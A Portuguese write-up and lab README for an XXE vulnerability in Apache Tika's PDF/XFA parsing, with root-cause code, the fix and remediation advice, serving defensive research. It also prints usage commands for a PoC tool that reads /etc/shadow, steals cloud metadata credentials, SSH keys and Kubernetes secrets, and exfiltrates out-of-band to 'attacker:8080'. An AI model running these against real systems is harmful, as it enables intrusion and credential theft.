CVE-2025-66516: Vulnerabilidade Crítica de XXE no Apache Tika

Resumo Executivo

CVE-2025-66516 é uma vulnerabilidade crítica de injeção de Entidades Externas XML (XXE) no Apache Tika com pontuação CVSS de 10,0 (severidade máxima). A vulnerabilidade permite que atacantes remotos leiam arquivos arbitrários, realizem falsificação de requisição do lado do servidor (SSRF) e exfiltrem dados sensíveis ao enviar um documento PDF especialmente criado contendo conteúdo XFA (Arquitetura de Formulários XML) malicioso.

Versões Afetadas

Importante: Este CVE substitui o CVE-2025-54988, que identificou incorretamente apenas o módulo PDF como vulnerável. A vulnerabilidade real reside no tika-core.

Análise Técnica

A Vulnerabilidade

A vulnerabilidade é uma falha de injeção de Entidade Externa XML (XXE) na forma como o Apache Tika processa dados XFA (Arquitetura de Formulários XML) dentro de documentos PDF.

O Problema: O Tika depende de analisadores XML subjacentes do Java (especificamente um analisador StAX) para ler o conteúdo XML do XFA. Versões vulneráveis falharam em configurar corretamente o analisador para desabilitar a resolução de entidades externas. Quando o analisador encontra uma requisição de entidade externa (como SYSTEM "file:///etc/passwd"), ele resolve e retorna o conteúdo do arquivo.

Localização: O bug existe em XMLReaderUtils.getXMLInputFactory() no tika-core:

public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);  // <-- Ineficaz
    return factory;
}

O IGNORING_STAX_ENTITY_RESOLVER foi criado para bloquear XXE retornando um resultado vazio, mas retornava uma String em vez do InputStream esperado. O analisador StAX padrão do JDK ignorou silenciosamente esse tipo de retorno incorreto e voltou ao comportamento padrão, que resolve entidades externas.

A Correção (Tika 3.2.2)

A correção desabilita explicitamente o suporte a DTD e entidades externas no nível da fábrica:

tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

Além disso, o resolvedor foi alterado para retornar um tipo InputStream adequado.

A Proteção Acidental do Woodstox

No ecossistema Java, existem múltiplas bibliotecas de analisadores XML. As aplicações usam o analisador que estiver configurado ou o primeiro encontrado no classpath.

O que é Woodstox? Woodstox é um analisador XML StAX de alto desempenho e código aberto, comumente empacotado com aplicações Java.

Como ele fornece proteção: Por design (não por acidente), a implementação do Woodstox lida corretamente com o tipo de retorno do XMLResolver. Quando o Woodstox recebe o valor de retorno de string do IGNORING_STAX_ENTITY_RESOLVER, ele o trata como conteúdo vazio válido, bloqueando efetivamente o XXE.

Distinção crucial:

• tika-server-standard.jar empacota o Woodstox - NÃO VULNERÁVEL
• tika-core + módulos de analisador (uso embarcado) NÃO empacota o Woodstox - VULNERÁVEL
• Aplicações usando o analisador StAX padrão do JDK - VULNERÁVEL

Início Rápido

Testar a Vulnerabilidade

# 1. Iniciar o ambiente de laboratório
docker-compose up -d --build

# 2. Testar contra o Tika vulnerável (JDK StAX, porta 9997)
python poc/exploit.py --url http://localhost:9997 --check

# 3. Extrair /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd

# 4. Comparar com o Tika protegido (Woodstox, porta 9998)
python poc/exploit.py --url http://localhost:9998 --check

Ambiente de Laboratório

Estrutura de Diretórios

CVE-2025-66516/
|-- docker-compose.yml              # Orquestração do laboratório
|-- vulnerable-tika/
|   |-- Dockerfile                  # Tika com Woodstox (protegido)
|   +-- Dockerfile.jdk-stax         # Tika sem Woodstox (VULNERÁVEL)
|-- webapp/
|   |-- Dockerfile
|   |-- app.py                      # Aplicação de upload Flask
|   +-- templates/
|-- poc/
|   |-- exploit.py                  # Ferramenta de exploração automatizada
|   +-- generate_payload.py         # Gerador de PDF malicioso
+-- README.md

Serviços

Iniciar o Laboratório

docker-compose up -d --build

Ferramentas de Prova de Conceito

1. Ferramenta de Exploração Automatizada (exploit.py)

Exploração de cadeia completa com geração automática de payload e extração de dados.

# Verificar se o alvo é vulnerável
python poc/exploit.py --url http://target:9998 --check

# Ler arquivos locais
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow

# Roubo de metadados AWS (instâncias EC2)
python poc/exploit.py --url http://target:9998 --aws-metadata

# Segredos do Kubernetes
python poc/exploit.py --url http://target:9998 --k8s-secrets

# SSRF para serviços internos
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin

# Salvar dados extraídos
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt

2. Gerador de Payload (generate_payload.py)

Gera arquivos PDF maliciosos para teste manual ou integração com outras ferramentas.

# Gerar payload para arquivo específico
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf

# Gerar payload SSRF
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

# Gerar payload de exfiltração OOB
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf

# Usar predefinições de modo de ataque
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/

# Listar modos de ataque disponíveis
python poc/generate_payload.py --list-modes

Modos de Ataque Disponíveis:

• file_read - Ler arquivos locais (/etc/passwd, /etc/shadow, etc.)
• ssh_keys - Roubar chaves privadas SSH
• aws_metadata - Metadados AWS EC2 e credenciais IAM
• gcp_metadata - Tokens de conta de serviço GCP
• azure_metadata - Tokens de identidade gerenciada do Azure
• k8s_secrets - Credenciais de conta de serviço do Kubernetes
• webapp_configs - Configurações comuns de aplicações web
• ssrf_internal - Explorar serviços internos

Resultados dos Testes

Configuração Vulnerável (JDK StAX - Sem Woodstox)

Teste contra Tika 2.9.2 sem Woodstox (simulando implantações embarcadas):

Prova de Exploração:

<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Configuração Protegida (Woodstox StAX)

Teste contra Tika 2.9.2 com Woodstox (tika-server-standard.jar padrão):

Saída mostra entidade vazia:

<li fieldName="data">data: </li>

Conclusão

A vulnerabilidade é real e crítica. A exploração depende da implementação StAX:

• [PROTEGIDO] tika-server-standard.jar - Woodstox empacotado bloqueia XXE
• [VULNERÁVEL] Tika embarcado (tika-core + parsers) - Usa JDK StAX por padrão
• [VULNERÁVEL] Implantações personalizadas sem Woodstox
• [VULNERÁVEL] Integrações empresariais (Elasticsearch, Solr, Alfresco) - Frequentemente usam Tika embarcado

Capacidades de Ataque XXE

XXE é fundamentalmente uma vulnerabilidade de leitura de arquivo/SSRF, não execução remota de código direta. No entanto, permite vários caminhos de ataque:

Ataques Diretos

Escalação para RCE

Remediação

Ações Imediatas

1. Atualizar o Apache Tika para a versão 3.2.2 ou superior

   root@kitploit:~

   <dependency>
       <groupId>org.apache.tika</groupId>
       <artifactId>tika-core</artifactId>
       <version>3.2.2</version>
   </dependency>
   

2. Verificar se todos os componentes do Tika estão atualizados (módulos tika-core E parser)

Avaliação de Risco

Defesa em Profundidade

1. Validação de Entrada - Validar tipos de arquivo enviados
2. Segmentação de Rede - Isolar o processamento do Tika
3. Menor Privilégio - Permissões mínimas no sistema de arquivos
4. Monitoramento - Alertar sobre acesso incomum a arquivos

Jornada de Pesquisa

Problemas Encontrados

Problema 1: Exploit inicial não funcionou

• XFA foi detectado mas XXE nunca foi acionado
• Gastei tempo depurando a estrutura do payload

Problema 2: Erro de múltiplas declarações XML

• Erro: WstxParsingException: Illegal processing instruction target ("xml")
• Causa: Cada fluxo XFA incluía declarações XML
• Correção: Incluir declaração apenas no preâmbulo, não nos subfluxos

Problema 3: O mistério do Woodstox

• Todos os payloads falharam contra tika-server-standard.jar
• Descobri que o Woodstox estava empacotado e bloqueando XXE
• Criei Dockerfile.jdk-stax para testar sem Woodstox

Problema 4: Testando a configuração errada

• Perdi tempo na configuração protegida
• Lição: Entender a árvore completa de dependências antes de testar

Lições Aprendidas

1. Pontuações CVSS precisam de contexto - Fatores ambientais afetam a exploração
2. Testar configurações mínimas - Não assumir dependências empacotadas
3. Analisadores XML variam muito - Mesmo código se comporta de forma diferente com diferentes analisadores
4. Embarcado não é Servidor - O uso como biblioteca geralmente tem dependências diferentes
5. Mensagens de erro são pistas - Exceções do analisador revelam detalhes de implementação

Referências

• Aviso de Segurança Apache Tika
• Commit da Correção
• Entrada NVD
• Discussão na Lista de E-mail do Apache Tika

Cronograma

Aviso Legal

Este ambiente de laboratório e código de prova de conceito são fornecidos apenas para testes de segurança autorizados, fins educacionais e pesquisa defensiva.

Não use estas ferramentas contra sistemas sem autorização explícita por escrito.

Licença

Este material de pesquisa é fornecido para fins educacionais. Use com responsabilidade.